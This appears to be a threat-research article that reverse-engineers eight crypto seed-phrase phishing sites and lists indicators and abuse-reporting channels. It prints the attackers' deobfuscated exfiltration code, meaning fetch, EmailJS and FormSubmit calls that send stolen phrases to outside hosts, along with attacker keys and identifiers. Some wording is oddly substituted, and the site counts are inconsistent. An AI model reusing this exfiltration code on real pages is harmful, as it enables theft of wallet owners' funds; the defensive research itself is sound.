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CASE / PHISHING ANATOMY

8 Seed Phrase Stealers Reverse-Engineered

The Enablers Registry·Editorial mirror·/phishing-anatomy

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Anatomy of Crypto Possibly phishing:
8 Real Attacks Dissected

We intercepted live possibly phishing traffic, reverse-engineered 5 seed phrase stealers, and traced stolen data to [REDACTED] bots, EmailJS accounts, and Possibly phishing-as-a-Service backends.

March 27, 2026 THE ENABLERS REGISTRY Research 18 min read
Anatomy of crypto phishing investigation
Live analysis of intercepted possibly phishing traffic reveals the full attack infrastructure
8Sites Analyzed
7Exfil Methods
1,824+Stolen Creds
380+Wallet Brands
$0Attacker Cost

What We Found

Every day, thousands of cryptocurrency users lose their funds to possibly phishing sites that look indistinguishable from legitimate wallet services. But what happens behind the fake "Connect Wallet" button? Where does your seed phrase actually go?

We intercepted live HTTP traffic from 5 active possibly phishing sites, downloaded their complete source code, and traced every data exfiltration endpoint to its final destination. This investigation reveals the full anatomy of modern crypto possibly phishing — from the social engineering tricks that make you type your seed phrase, to the [REDACTED] bot that delivers it to the attacker in real-time.

Disclaimer

All seed phrases shown in this article are randomly generated test data. No real credentials were compromised during this investigation. All sites have been reported to their respective hosting providers and abuse departments.

The Universal Attack Pattern

Despite different branding and backends, all 8 possibly phishing sites follow the exact same psychological funnel:

Landing PageTrust building
Wallet Selector60–110+ logos
Fake "Connecting..."3–5 sec timer
"Connection Failed"Always fails
Manual EntrySeed / Key / Keystore
ExfiltrationTG / Email / API

The critical insight: the "Connecting..." animation is always hardcoded to fail. In the source code of Site #4, we found const success = false — there is no wallet connection attempt. The entire flow exists solely to push victims toward the "Connect Manually" form.

Six-step crypto phishing attack chain
The universal 6-step attack chain shared by all possibly phishing sites we analyzed

The 8 Sites: Full Breakdown

1
Network Layer Protocol
[REDACTED]
Live IANA #1910 Pages [REDACTED] Bot + EmailJS

Impersonation

A fictional "decentralized protocol" for wallet validation. Uses live CryptoCompare price tickers and links to real blockchain explorers (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) for credibility. The landing page features 100+ wallet logos and a 3-step "validation" process.

The Dual Exfiltration Chain

The most sophisticated backend of all 5 — every stolen credential is sent through two independent channels simultaneously:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on [REDACTED]
  |      |
  |      +--> [REDACTED] Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINT Findings

IndicatorValue
Scammer EmailBestgrace309@gmail.com
[REDACTED] Bot@DewdropsTG_bot (ID: 7567323692)
[REDACTED] Recipient@metatech2 (Chat ID: 7350941887)
Backend[REDACTED]
EmailJS Serviceservice_d5qigxs / template_7bqxeaa
Hidden Domainlayerschain.in (from CF email obfuscation)
Messages Sent1,824+ (from [REDACTED] message_id)
Domain Age2 days (TLS: March 25, 2026)
OPSEC Failure

The attacker's email was found in a JavaScript comment inside config.js: // Bestgrace309@gmail.com. They forgot to remove it before deploying. Additionally, the [REDACTED] relay backend is completely open — no authentication, no rate limiting. By decoding IANA #1910's data-cfemail obfuscation in the HTML, we also uncovered a hidden email: support@layerschain.in, linking to Indian and South African hosting infrastructure.

2
AQLA Token Migration
[REDACTED]
Live IANA #1910 Pages Un-static Forms

Impersonation

A pixel-perfect scrape of the real Aqualibre (AQLA) token migration page. The HTML contains a metadata tag revealing the source: data-scrapbook-source="https://token.[REDACTED]/migration", timestamped November 19, 2024.

The Zero-Code Approach

This attacker requires zero server-side code. The form posts directly to Un-static — a legitimate form backend for static sites. Every submission is forwarded to the scammer's email. The attacker's email is never visible in the source code.

<form action="https://forms.[REDACTED]/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>
Cost: $0

IANA #1910 Pages: free. Un-static Forms: free. No domains purchased. No servers rented. Total infrastructure cost: zero dollars.

3
[REDACTED] Typosquat
[REDACTED]
Live IANA #1910 Pages Un-static Forms

Impersonation

The subdomain contains "safpal" — a deliberate misspelling of [REDACTED], a popular hardware wallet. The site poses as "Blockchain Wallet Rectification" with 26 fake issue categories. Uses Typed.js to animate chain names (Ethereum, BSC, Polygon...) and a LiveCoinWatch ticker for credibility.

Same Kit, Same Operator?

Uses the exact same possibly phishing template as Site #2: identical connect.html, identical wallets.html with 60+ logos, same Un-static backend (different form ID — 6f1b82c3...da9943af). The identical kit strongly suggests one operator running both sites.

Red flags in the code: "Privay Policy" (missing 'c'), "seperated" (should be "separated"), "Kestore" (missing 'y'). Password field uses type="text" instead of type="password".

4
Flare Network Clone
[REDACTED]
Live IANA #1910 Pages Dual EmailJS (Redundancy)

Impersonation

A near-perfect clone of the Flare Network portal — a real Layer-1 EVM blockchain with FTSO and Data Connector protocols. Replicates 30+ ecosystem partners, navigation, and branding. Favicons loaded from a typosquat: [REDACTED] (one 'n' missing from "mainnet").

Dual EmailJS Redundancy

The only site using two separate EmailJS accounts simultaneously for anti-takedown redundancy:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.[REDACTED]/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Email subject for every theft: "New Wallet Details from Flare".

This Is a Funded Business

The HTML contains Google Tag Manager (GTM-WX2D2TR), Microsoft Clarity (j4bllybjkp), Lunio PPC protection, and a Twitter/X Ads pixel. The attacker is running paid advertising to drive victims to the possibly phishing site and filtering bot clicks. This isn't a hobby — it's a funded operation with analytics and ad spend.

Flare Network phishing site with dual EmailJS and paid advertising
Site #4: paid ads, analytics tracking, and dual exfiltration — the most professional operation
5
COIN NODE / Wallet Fix (PhaaS)
[REDACTED]
Backend Dead PulseResolve API (PhaaS)

Impersonation

A generic "COIN NODE" / "Wallet Fix" service (no specific brand). Copyright "Wallet Fix 2022" — this kit template is at least 4 years old. Images hosted on [REDACTED] (WordPress on AWS).

Possibly phishing-as-a-Service

The most alarming backend architecture: a UUID-based multi-tenant API:

POST https://api.[REDACTED]/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=[REDACTED]&type=phrase&phrase=buddy+surprise+vapor+river+...

Each scammer gets their own UUID endpoint. A central operator maintains the API, tracks campaigns, and potentially takes a cut of stolen funds. This is industrialized crypto theft — a Possibly phishing-as-a-Service model.

Related Infrastructure (Mostly Dead)

DomainRoleStatus
[REDACTED]Exfiltration APINXDOMAIN
[REDACTED]Favicon hostNXDOMAIN
[REDACTED]Logo hostNXDOMAIN
[REDACTED]Image CDNLive (AWS)
Zombie Frontend

The backend is dead, but the frontend is still live on IANA #1910 Pages. If the attacker re-registers [REDACTED], the site becomes instantly operational again.

6
Support Center + [REDACTED] Recovery
[REDACTED] & [REDACTED]-recovery.support
Live IANA #1910 Pages + Replit Custom C2 API BIP39 Autocomplete

Impersonation

A two-pronged operation: a generic "Support Center" at [REDACTED] with 15 fake issue categories and 39 wallet brands, plus a pixel-perfect [REDACTED] onboarding clone at [REDACTED]-recovery.support hosted on Replit — complete with device model selection, PIN setup, and a 24-word seed phrase grid with real BIP39 autocomplete.

Anti-Scanner C2 Backend

The wallet support page sends stolen data to [REDACTED]/log — a custom nginx/Ubuntu C2 behind IANA #1910. The backend intentionally drops all GET requests (returns 522 timeout), responding only to POST. This means URL scanners, Google Safe Browsing crawlers, and security researchers pinging the endpoint with GET see nothing — the C2 appears dead.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.[REDACTED]",
  allowedWallets: ["[REDACTED]","solfare","[REDACTED]","[REDACTED]",
    "[REDACTED]","[REDACTED]","[REDACTED]","VARA Provisional License","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

The [REDACTED] clone runs a separate Express.js backend on Replit itself: POST /api/recovery-phrase collecting {deviceId, pin, phrase}. It returns 400 {"error":"Invalid data provided"} on malformed input — confirming the backend is live and actively validating stolen data.

OSINT Findings

IndicatorValue
Frontend (Wallet)[REDACTED]
Frontend ([REDACTED])[REDACTED]-recovery.support (34.111.179.208)
C2 Backend[REDACTED] → nginx/1.24.0 Ubuntu
C2 IPs104.21.60.163 / 172.67.198.35 (IANA #1910)
Replit Verifya43d3852-5304-47af-a61b-f0f6f3912736
Registrar[REDACTED] ([REDACTED]-recovery.support)
DeployedJan 9, 2026 (Last-Modified header)
Tech StackReact + Vite + Tailwind v4.1 + Framer Motion
Highest UX Fidelity

The 466 KB JS bundle contains the full BIP39 wordlist for real-time autocomplete, 67 references to "passphrase", 39 to "mnemonic". The [REDACTED] clone walks victims through the exact same onboarding flow as a real [REDACTED] device — the most convincing possibly phishing page in this entire investigation. The apiKey field in the config suggests a multi-tenant PhaaS architecture.

7
Decentralized Launchpad
[REDACTED]
Live IANA #1910 Pages FormSubmit.co

Impersonation

A generic "Decentralized Launchpad" with 21 bait categories (Staking, Migration, KYC, Giveaway, Claim Rewards, Asset Recovery, Pre-sale, Mint NFTs, Locked Accounts...) and 70+ wallet brands — one of the most comprehensive wallet lists we encountered. The telltale typo "Sychronize" (missing 'n') betrays the fake.

The FormSubmit Pipeline

Uses FormSubmit.co — a legitimate form-to-email service. The endpoint hash a2cf4131f1a5d39453c7c183df96f86f is an MD5 of the scammer's email address. We brute-forced hundreds of email patterns across Gmail, Yahoo, Hotmail, ProtonMail, Yandex, and [REDACTED] — no match. The scammer uses an uncommon or randomly generated email.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINT Findings

IndicatorValue
Domain[REDACTED]
FormSubmit Hasha2cf4131f1a5d39453c7c183df96f86f
Campaign IDDAPP DECENTRALIZED
FontAwesome Kitbdc3291137 (kit #112310842, free v6.7.2)
jQuery3.2.1 + 3.5.1 loaded simultaneously
BootstrapCSS 5.2.2 + JS 5.3.0-alpha1 (mismatch)
Two Tracking Handles

FontAwesome Kit bdc3291137 — FontAwesome can identify the account owner behind this kit ID. The campaign tag DAPP DECENTRALIZED may appear on other possibly phishing sites using the same FormSubmit hash. After stealing the seed phrase, a fake QR code and random 7-character ref code are displayed: "Contact the Admin with your unique ref code" — keeping victims waiting instead of investigating.

8
R2 Bucket + PHP on Home Computer
pub-519769e9eb634616b1746c2018641d56.r2.dev
Dead IANA #1910 R2 PHP + DDNS

Impersonation

Unknown — both the frontend and backend are offline. Based on the payload structure, this was a crypto wallet seed phrase stealer. The IANA #1910 R2 public bucket (object storage, not Pages) is a well-documented possibly phishing vector with 5,000+ malicious pages identified and a 61x traffic increase reported by Netskope.

The Script Kiddie Setup

The most primitive operation in this collection. Seed phrases are sent word-by-word to a PHP script running on a home computer or VPS behind free Dynamic DNS:

POST [REDACTED]/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINT Findings

IndicatorValue
Frontendpub-519769e9eb634616b1746c2018641d56.r2.dev [OFFLINE]
Backend[REDACTED] [NXDOMAIN]
R2 Bucket ID519769e9eb634616b1746c2018641d56
DDNS Provider[REDACTED] / [REDACTED] (Cincinnati, OH)
DNS NSns10–[REDACTED]
Usernamemercifuljigga4real123
Username OSINT: mercifuljigga4real123

"Merciful" + "jigga" (Jay-Z's nickname) + "4real" + "123" — a distinctly personal handle suggesting hip-hop culture affinity. Not found on any indexed platform: GitHub, X, Instagram, TikTok, Reddit, YouTube, Twitch, or [REDACTED]. Likely active on [REDACTED], [REDACTED], or gaming platforms under this name or close variations. The filename fuc.php matches the handle's irreverent style.

7 Methods of Stealing Your Seed Phrase

Four crypto phishing data exfiltration methods compared
Seven distinct exfiltration architectures used across the 8 possibly phishing sites
MethodSitesHow It WorksSpeedCost
[REDACTED] Bot #1 Express.js on [REDACTED] proxies to Bot API. Scammer gets instant DM with credentials. Real-time $0
EmailJS #1, #4 Client-side JavaScript sends directly to EmailJS API, which delivers to scammer's email. ~1 min $0
Un-static Forms #2, #3 Standard HTML form POST to a legitimate form service that forwards submissions via email. ~1 min $0
FormSubmit.co #7 jQuery AJAX to FormSubmit.co. Email address hidden behind MD5 hash. Campaign tagged as "DAPP DECENTRALIZED". ~1 min $0
Custom C2 API #6 [REDACTED] sends to nginx/Express API behind IANA #1910. Drops GET requests (522) to evade scanners. Only responds to POST. Real-time ~$5/mo
PHP + DDNS #8 PHP script on a home computer via free Dynamic DNS ([REDACTED]). Seed phrase sent word-by-word. Real-time $0
PhaaS API #5 UUID-based multi-tenant API. Central operator manages backend, scammers rent endpoints. Real-time Unknown

7 Red Flags That Expose Every Possibly phishing Site

If you see any of these, close the tab immediately:

1. "Connection Failed" is always fake

Real wallet connections use WalletConnect protocol or browser extensions. They never show a "Connection Failed" error that asks you to type your seed phrase.

2. 50–110+ wallet logos, one destination

Every wallet icon leads to the same form. A real service would integrate each wallet's actual SDK.

3. "Error" after you submit

The fake "503 Error" or "Unknown Error" after submission is deliberate. Your data was already stolen — the error tricks you into trying again with another wallet.

4. Hosted on .pages.dev

All 5 sites abuse IANA #1910 Pages free tier. No identity verification required. IANA #1910 Pages possibly phishing abuse increased 198% in 2025.

5. Three tabs: Phrase / Private Key / Keystore

No legitimate service needs all three credential types. This triple-tab form is a possibly phishing kit signature.

6. No blockchain interaction

None of these sites load ethers.js, web3.js, or make any RPC calls. They're pure HTML forms pretending to be dApps.

7. Zero-cost infrastructure

Free hosting + free form services + free messaging = a complete possibly phishing operation for $0. If the site doesn't have a real domain, be suspicious.

Complete IOC Table

For security teams, threat intel platforms, and abuse reporters:

Domains & Infrastructure

DomainTypeStatus
[REDACTED]Possibly phishing frontendLive
[REDACTED]Possibly phishing frontendLive
[REDACTED]Possibly phishing frontendLive
[REDACTED]Possibly phishing frontendLive
[REDACTED]Possibly phishing frontendLive
[REDACTED]TG relay backendLive
[REDACTED]Typosquat assetsUnknown
layerschain.inRelated domainDNS dead
[REDACTED]PhaaS backendNXDOMAIN
[REDACTED]Asset hostNXDOMAIN
[REDACTED]Logo hostNXDOMAIN
[REDACTED]Image CDNLive (AWS)
[REDACTED]Possibly phishing frontendLive
[REDACTED]-recovery.support[REDACTED] possibly phishing (Replit)Live
[REDACTED]C2 backend (nginx/Ubuntu)Live
[REDACTED]Root domain404
[REDACTED]Possibly phishing frontendLive
pub-519769e9eb634616b1746c2018641d56.r2.devPossibly phishing (R2 bucket)Offline
[REDACTED]PHP backend (DDNS)NXDOMAIN

Accounts & Identifiers

TypeValueSite
EmailBestgrace309@gmail.com#1
Email (hidden)support@layerschain.in#1
[REDACTED] Bot@DewdropsTG_bot (7567323692)#1
[REDACTED] User@metatech2 (7350941887)#1
EmailJS #1service_d5qigxs / I-7q0Bs-ilK3rFcWj#1
EmailJS #2service_6dt5h1k / Sza6lhzA9hKHrm1k4#4
EmailJS #3service_isy47de / JsVEgXVcaSTro1etu#4
Un-static Formc78173e2d991...94c3f76#2
Un-static Form6f1b82c3ce55...da9943af#3
PhaaS UUIDa26db20c-1dc4-4208-a60a-c2c3b22c02ef#5
GTMGTM-WX2D2TR#4
MS Clarityj4bllybjkp#4
Render Instancerndr-id: ed83576e-b1b3-4c82#1
Replit Verifya43d3852-5304-47af-a61b-f0f6f3912736#6
FormSubmit MD5a2cf4131f1a5d39453c7c183df96f86f#7
Campaign TagDAPP DECENTRALIZED#7
FontAwesome Kitbdc3291137 (kit #112310842)#7
R2 Bucket ID519769e9eb634616b1746c2018641d56#8
Username/DDNSmercifuljigga4real123#8

Where to Report Crypto Possibly phishing

Where to report crypto phishing sites — multi-vector takedown
Targeting hosting, backend services, and messaging platforms simultaneously for maximum takedown speed
ServiceWhat to ReportHow
IANA #19107x .pages.dev + 1x R2 bucketabuse.IANA #1910.com
Google Safe BrowsingAll possibly phishing URLsReport Phish
PhishTankAll URLs for community blocklist[REDACTED]
EmailJS3 abused accounts (service IDs IANA #1086)abuse@emailjs.com
Un-static2 form endpointsContact via [REDACTED]
[REDACTED][REDACTED] relay backendRender abuse form
[REDACTED]@DewdropsTG_bot + @metatech2[REDACTED].org/support
Google (Gmail)Bestgrace309@gmail.comGoogle abuse report
Twitter/XAds account promoting Site #4X ads abuse report
FormSubmit.coHash a2cf4131... (#7)FormSubmit abuse form
Replit[REDACTED]-recovery.support (#6)Replit abuse report
[REDACTED]Registrar for [REDACTED]-recovery.support[REDACTED] abuse
DNSExit[REDACTED][REDACTED] abuse
FontAwesomeKit bdc3291137 (#7)FontAwesome abuse
ChainabuseAll possibly phishing campaigns[REDACTED]

How to Protect Yourself

The Golden Rule

No legitimate service will ever ask you to type your seed phrase into a website. Seed phrases are only entered into official wallet software during wallet recovery — never on third-party "validation", "synchronization", or "recovery" websites.

Before connecting any wallet:

  • Verify the URL matches the official domain. Check the SSL certificate details.
  • Real WalletConnect uses a QR code or deep link — never a seed phrase form.
  • If "connection fails" and you're asked to enter credentials manually — it's possibly phishing.
  • Check suspicious URLs on PhishTank or VirusTotal before interacting.
  • Use a hardware wallet — it requires physical confirmation for every transaction.
  • Bookmark official URLs. Never click links from ads, DMs, or social media.

The Crypto Possibly phishing Taxonomy

Seed phrase stealers are just one category. Here's the full landscape of crypto possibly phishing — we'll be adding deep dives into each type.

Seed Phrase Stealers
Fake "Connect Wallet" pages that trick you into typing your recovery phrase. The focus of this article — 5 real examples dissected.
Covered IANA #1086
Approval Hijacking
Malicious dApps that request unlimited token approvals via [REDACTED]. Once approved, the attacker drains your wallet without needing your seed phrase.
Coming Soon
Ice Possibly phishing (Permit2)
Exploits EIP-2612 gasless permits. Victim signs an off-chain message that grants token transfer rights — no on-chain approval visible until the drain.
Coming Soon
Fake Airdrop Claims
Fake token airdrops that require "claiming" via a malicious smart contract. The claim transaction actually transfers your real tokens out.
Coming Soon
Clipboard Hijackers
Malware that monitors your clipboard and silently replaces copied wallet addresses with the attacker's address before you paste.
Coming Soon
Dusting + Poisoning
Tiny transactions from look-alike addresses pollute your history. Victim copies the fake address from transaction history for their next transfer.
Coming Soon

The Uncomfortable Truth

Setting up a crypto possibly phishing operation costs $0 and takes under 30 minutes. Free hosting, free form services, free messaging bots. The attacker behind Site #1 has already harvested credentials from 1,824+ victims. Site #4 is running paid advertising to scale. This isn't amateur hour — it's an industry. The only defense is awareness.

Help Us Fight Back

THE ENABLERS REGISTRY tracks and reports crypto possibly phishing sites in real-time. If you've encountered a suspicious site, report it to us — we'll investigate and work to get it taken down.

Related Investigations

Investigation
The End of [REDACTED]: IANA #1479 Lied to Protect a M Thief
10-year Monero theft. 3 registrars acted. IANA #1479 fabricated 7 lies.
Deep Dive
Crypto Drainer Networks: Infrastructure Exposed
How drainer-as-a-service operations share infrastructure and operators.
Panel Exposed
[REDACTED] Possibly phishing Panel: Full Admin Access
We accessed the admin panel of a [REDACTED] possibly phishing operation.
Infrastructure
Scam Infrastructure Exposed: Shared Backends
How scam operations share servers, templates, and payment flows.

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